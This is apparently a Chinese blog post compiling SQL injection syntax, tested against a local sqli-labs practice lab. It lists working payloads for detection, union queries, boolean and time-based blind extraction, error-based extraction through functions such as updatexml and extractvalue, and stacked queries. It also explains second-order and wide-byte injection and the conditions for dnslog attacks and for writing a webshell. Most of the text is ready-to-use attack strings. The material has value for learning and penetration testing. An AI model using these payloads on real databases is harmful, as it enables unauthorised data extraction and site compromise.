当前位置:网站首页>【网络安全】sql注入语法汇总
【网络安全】sql注入语法汇总
2022-07-07 12:00:00 【跳楼梯企鹅】
目录
一、原理
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
二、SQL注入判断方法
1.字符型检测
字符型判断url是否存在注入,在url栏的网址上添加一个单引号
url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。
当我们在url栏网址的单引号后面输入and 1=1 时页面显示正常。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#当我们把1=1换成1=2时页面报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#2.数字型检测
直接输入and 1=1查看。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1发现是可以正常显示页面的,那么我们在进一步判断1=2时。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是不用加引号的。就类似于int一样。
3.搜索型检测和xx型检测
这个说白了就是字符型检测的一种,只是需要根据不同的报错信息进行构造闭合。
三、union注入
1.order by和报错注入
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));2.union 联合查询
?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+四、盲注
1.布尔盲注
(1)查询数据库长度
and (length(database()))>8%23(2)查询当前数据库名称
and (ascii(substr(database(),1,1)))<120 %23(3)查询数据库下有多少表
and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23(4)查询数据库下表名第一位
and (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23(5)查询数据库下表中有多少个字段
and (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23(6)判断数据库下表中的第一个字段的长度
and (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23(7)查询数据库下表里面的第一个字段的第一位是多少
and (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23(8)得到字段探测第一条数据
and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %232.时间盲注
(1)判断是否存在延迟函数
and sleep(5) %23(2)查询当前数据库的长度,如果正确那么就延迟5秒
and if((length(database()))>7,sleep(5),1) --+(3)判断当前数据库名第一位是否为a
and if((substr(database(),1,1)='a'),sleep(5),1) %23(4)判断当前数据库名第一位ascii是否为100
and if((ascii(substr(database(),1,1))=100),sleep(5),1) %23(5)查询表数量
and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23(6)查询表名长度
and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23(7)截取表名第一位
and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23(8)查询列字段数量
and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23(9)查询列名长度
and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23(10)截取列名第一位
and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23(11)查询id第一条数据的长度
and if((select length((select id from 表名 limit 0,1)))=1,sleep(5),1)%23(12)获取数据信息内容
and if((select ascii(substr((select id from 表名 limit 0,1),1,1)))=49,sleep(5),1)%23五、报错注入
(1)floor()
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23(2)extractvalue()
select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));(3)updatexml()
select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));(4)geometrycollection()
select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));(5)multipoint()
select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));(6)polygon()
select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));(7)multipolygon()
select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));(8)linestring()
select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));(9)multilinestring()
select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));(10)exp()
select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));六、堆叠注入
原理:堆叠注入的原理 : mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
例如
select * from users;show databases;就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
七、二次注入
二次注入,可以概括为以下两步:
(1)插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
(2)引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
八、宽字节注入
(1)原理
当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。
(2)条件
Ⅰ:数据库查询设置为GBK编码
Ⅱ:使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数
九、dnslog注入
(1)条件
mysql.ini中secure_file_priv必须为空
●secure_file_priv 为null 不允许导入导出
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下
●secure_file_priv 为空时 则不做限制允许导入导出
十、SQL注入写入webshell
(1)条件
Ⅰ:当前sql注入用户必须为DBA权限(--is-dba为true)
Ⅱ:需要知道网站的绝对路径
Ⅲ:My.ini文件中的这项配置secure_file_priv=””为空
十一、总结
总结了很久的资料,希望各位技术友可以读完。
边栏推荐
- 2022-7-7 Leetcode 844.比较含退格的字符串
- Flask session forged hctf admin
- What are the principles for distinguishing the security objectives and implementation methods that cloud computing security expansion requires to focus on?
- How to make join run faster?
- 2022-7-6 初学redis(一)在 Linux 下下载安装并运行 redis
- 数据库系统概论-第一章绪论【概念模型、层次模型和三级模式(外模式、模式、内模式)】
- Mathématiques avancées - - chapitre 8 différenciation des fonctions multivariables 1
- C语言数组相关问题深度理解
- TPG x AIDU | AI leading talent recruitment plan in progress!
- call undefined function openssl_ cipher_ iv_ length
猜你喜欢

2022-7-6 使用SIGURG来接受外带数据,不知道为什么打印不出来

得物客服热线的演进之路

Fast development board pinctrl and GPIO subsystem experiment for itop-imx6ull - modify the device tree file

Esp32 ① compilation environment

Help tenants

LIS longest ascending subsequence problem (dynamic programming, greed + dichotomy)

2022-7-6 Leetcode27. Remove the element - I haven't done the problem for a long time. It's such an embarrassing day for double pointers

高等数学---第八章多元函数微分学1

Battle Atlas: 12 scenarios detailing the requirements for container safety construction

为租客提供帮助
随机推荐
Enregistrement de la navigation et de la mise en service du robot ROS intérieur (expérience de sélection du rayon de dilatation)
Advanced Mathematics - Chapter 8 differential calculus of multivariate functions 1
DID登陆-MetaMask
Esp32 series column
"New red flag Cup" desktop application creativity competition 2022
call undefined function openssl_ cipher_ iv_ length
move base参数解析及经验总结
Mysql怎样控制replace替换的次数?
Attribute keywords aliases, calculated, cardinality, ClientName
2022-7-6 初学redis(一)在 Linux 下下载安装并运行 redis
Detr introduction
Sliding rail stepping motor commissioning (national ocean vehicle competition) (STM32 master control)
得物客服热线的演进之路
FCOS3D label assignment
Co create a collaborative ecosystem of software and hardware: the "Joint submission" of graphcore IPU and Baidu PaddlePaddle appeared in mlperf
Flink | 多流转换
供应链供需预估-[时间序列]
How can the PC page call QQ for online chat?
Learning breakout 2 - about effective learning methods
2022-7-6 Leetcode 977. Square of ordered array